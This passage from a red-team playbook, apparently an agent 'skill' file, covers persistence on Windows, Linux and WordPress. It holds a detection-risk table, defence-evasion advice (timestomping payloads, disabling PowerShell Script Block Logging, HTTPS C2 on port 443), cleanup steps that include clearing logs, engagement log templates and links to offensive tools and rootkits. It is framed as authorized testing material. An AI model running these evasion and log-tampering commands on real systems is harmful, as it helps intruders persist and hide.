-------------------------------------------------------
wp --path=/var/www/html plugin deactivate system-maintenance
wp --path=/var/www/html plugin delete system-maintenance
wp --path=/var/www/html user delete svc.monitor --yes
wp --path=/var/www/html user application-password delete admin --slug="system-maintenance-api"
```

---

## 7. OPSEC Considerations

### 7.1 Detection Risks by Technique

| Technique | Detection Method | Risk Level |
|---|---|---|
| HKCU Registry Run | Autoruns, EDR registry monitoring | MEDIUM |
| HKLM Registry Run | EDR, Sysmon Event ID 13 | HIGH |
| Startup Folder | File creation monitoring, EDR | HIGH |
| Schtasks | Sysmon Event ID 11, 4698 (Task Scheduled) | HIGH |
| Windows Service | Event 7045 (Service Installed) | HIGH |
| WMI Subscription | Sysmon Event ID 19/20/21, WMI-Activity log | MEDIUM-HIGH |
| DLL Hijacking | EDR module load monitoring, PE analysis | MEDIUM |
| COM Hijacking | EDR COM monitoring, HKCU COM writes | LOW-MEDIUM |
| User Cron | Auditd, inotify watchers | LOW |
| ~/.bashrc | Auditd file write events | LOW |
| authorized_keys | Auditd, SSH log correlation | MEDIUM |
| systemd service | Systemd journal, auditd | MEDIUM |
| LD_PRELOAD | /etc/ld.so.preload monitoring, auditd | LOW-MEDIUM |
| WP App Password | WordPress audit logs, login monitoring | LOW |

### 7.2 Evasion Principles

**Blend in with legitimate software names:**
- Use names from `tasklist` output or `sc query` that already exist
- Avoid generic names like "backdoor", "shell", "hack"
- Match capitalization and naming conventions of existing tasks/services

**Timestamp manipulation:**
```bash
# Match timestamps of dropped files to existing system files
touch -r /usr/bin/ls /path/to/payload
touch -r C:\Windows\System32\svchost.exe C:\Windows\Temp\payload.exe  # PowerShell equivalent
```

**Avoid common IOC patterns:**
- Do not use `cmd.exe` as parent of PowerShell in scheduled tasks
- Prefer `lolbas` (Living Off the Land Binaries) over dropped EXEs
- Use HTTPS C2 on port 443 — blends with web traffic
- Avoid `IEX` without encoding — commonly flagged

**Limit execution frequency:**
- Cron every 5 minutes creates 288 events/day — noisy
- Prefer event-triggered persistence (logon, startup) over scheduled polling

**Disable Windows Script Block Logging in PowerShell (if admin):**
```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 0
```

### 7.3 Cleanup Protocol

**Always clean up in this order:**
1. Stop the persistence mechanism (stop service, disable task)
2. Remove the trigger (delete registry key, cron entry, service)
3. Remove the payload file
4. Clear relevant logs
5. Verify removal
6. Document cleanup in engagement log

**Windows cleanup verification:**
```powershell
# Check common persistence locations
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ScheduledTask | Where-Object State -ne Disabled | Select-Object TaskName,TaskPath
Get-Service | Where-Object StartType -eq Automatic | Select-Object Name,DisplayName
Get-WMIObject -Namespace root\subscription -Class __EventFilter
```

**Linux cleanup verification:**
```bash
crontab -l
cat /etc/crontab
ls /etc/cron.d/
systemctl list-unit-files --state=enabled
cat /etc/ld.so.preload
cat ~/.ssh/authorized_keys
grep -n "suspicious_content" ~/.bashrc ~/.profile ~/.bash_profile
```

---

## 8. Output and Documentation Instructions

### 8.1 What to Capture

For every persistence mechanism deployed, document:

```
[PERSISTENCE LOG ENTRY]
Date/Time (UTC):
Target Host:
Target OS:
Operator:
Technique Used:
Privilege Level:
Artefact Path(s):
  - Payload: <path> | SHA256: <hash>
  - Config entry: <key/file/service name>
Trigger:
C2 Channel: <IP>:<PORT> (protocol)
Verification: [PASS/FAIL] — method used
OPSEC notes:
Cleanup status: [PENDING/COMPLETE]
Cleanup steps taken:
```

### 8.2 Screenshot Checklist

- [ ] `whoami` / `id` before persistence deployment
- [ ] Command output of deployment step
- [ ] Verification command output (task list, reg query, service status)
- [ ] Callback received in listener (timestamp visible)
- [ ] Cleanup confirmation commands and output

### 8.3 Artefact Hashing

```bash
# On Kali — hash payload before transfer
sha256sum /tmp/payload.exe

# On Windows target
Get-FileHash "C:\Windows\Temp\payload.exe" -Algorithm SHA256

# On Linux target
sha256sum /usr/local/bin/.sysupdate
```

### 8.4 Engagement Log Format

```markdown
## Persistence — [Target] — [Date]

### Deployed Mechanisms
| ID | Host | Technique | Artefact | C2 | Status |
|----|------|-----------|----------|----|--------|
| P1 | DC01 | Schtasks SYSTEM | \Microsoft\Windows\WinDefend\ScanTask | 10.10.10.10:443 | ACTIVE |
| P2 | WEB01 | WP App Password | admin/System Maintenance API | N/A | ACTIVE |

### Cleanup Log
| ID | Cleaned By | Time | Method |
|----|-----------|------|--------|
| P1 | operator | 2026-05-31 18:00 UTC | schtasks /delete |
| P2 | operator | 2026-05-31 18:05 UTC | wp user application-password delete |
```

---

## 9. Resources

### Official Documentation
- MITRE ATT&CK — Persistence Tactic: https://attack.mitre.org/tactics/TA0003/
- MITRE ATT&CK — Boot or Logon Autostart Execution: https://attack.mitre.org/techniques/T1547/
- MITRE ATT&CK — Scheduled Task/Job: https://attack.mitre.org/techniques/T1053/
- MITRE ATT&CK — WMI Event Subscription: https://attack.mitre.org/techniques/T1546/003/

### Tools and Frameworks
- SharPersist (Mandiant): https://github.com/mandiant/SharPersist
- SharpWMI (GhostPack): https://github.com/GhostPack/SharpWMI
- PowerSploit (PowerShellMafia): https://github.com/PowerShellMafia/PowerSploit
- Impacket (Fortra): https://github.com/fortra/impacket
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
- Evil-WinRM: https://github.com/Hackplayers/evil-winrm
- COMHijackToolkit: https://github.com/dr4k0nia/COMHijackToolkit
- Chisel (tunneling): https://github.com/jpillora/chisel

### WMI Persistence Deep Dives
- FireEye WMI Persistence: https://github.com/mandiant/wmi-monitor
- WMI for script kiddies (Matt Graeber): https://github.com/mattifestation/WMIBackdoor

### DLL / COM Hijacking
- Windows DLL Hijacking (Wietze Beukema): https://github.com/wietze/windows-dll-hijacking
- LOLBAS Project: https://github.com/LOLBAS-Project/LOLBAS
- LOOBins (macOS/Linux LOLB): https://github.com/infosecB/LOOBins

### Linux Persistence
- Persistence The Unix Way (SANS): https://www.sans.org/reading-room/whitepapers/linux/paper/39450
- Diamorphine LKM Rootkit: https://github.com/m0nad/Diamorphine
- PAM Backdoor reference: https://github.com/zephrfish/pambd

### WordPress Security
- WP Application Passwords: https://make.wordpress.org/core/2020/11/05/application-passwords-integration-guide/
- WPScan: https://github.com/wpscanteam/wpscan

### Detection and Hunting (Know Your Adversary)
- Sysmon Config (SwiftOnSecurity): https://github.com/SwiftOnSecurity/sysmon-config
- Sigma Rules — Persistence: https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set
- Awesome WMI (detection): https://github.com/davidpany/WMI_Forensics

---

*Skill maintained by RTExit Red Team. Update engagement-specific sections after each engagement post-mortem.*
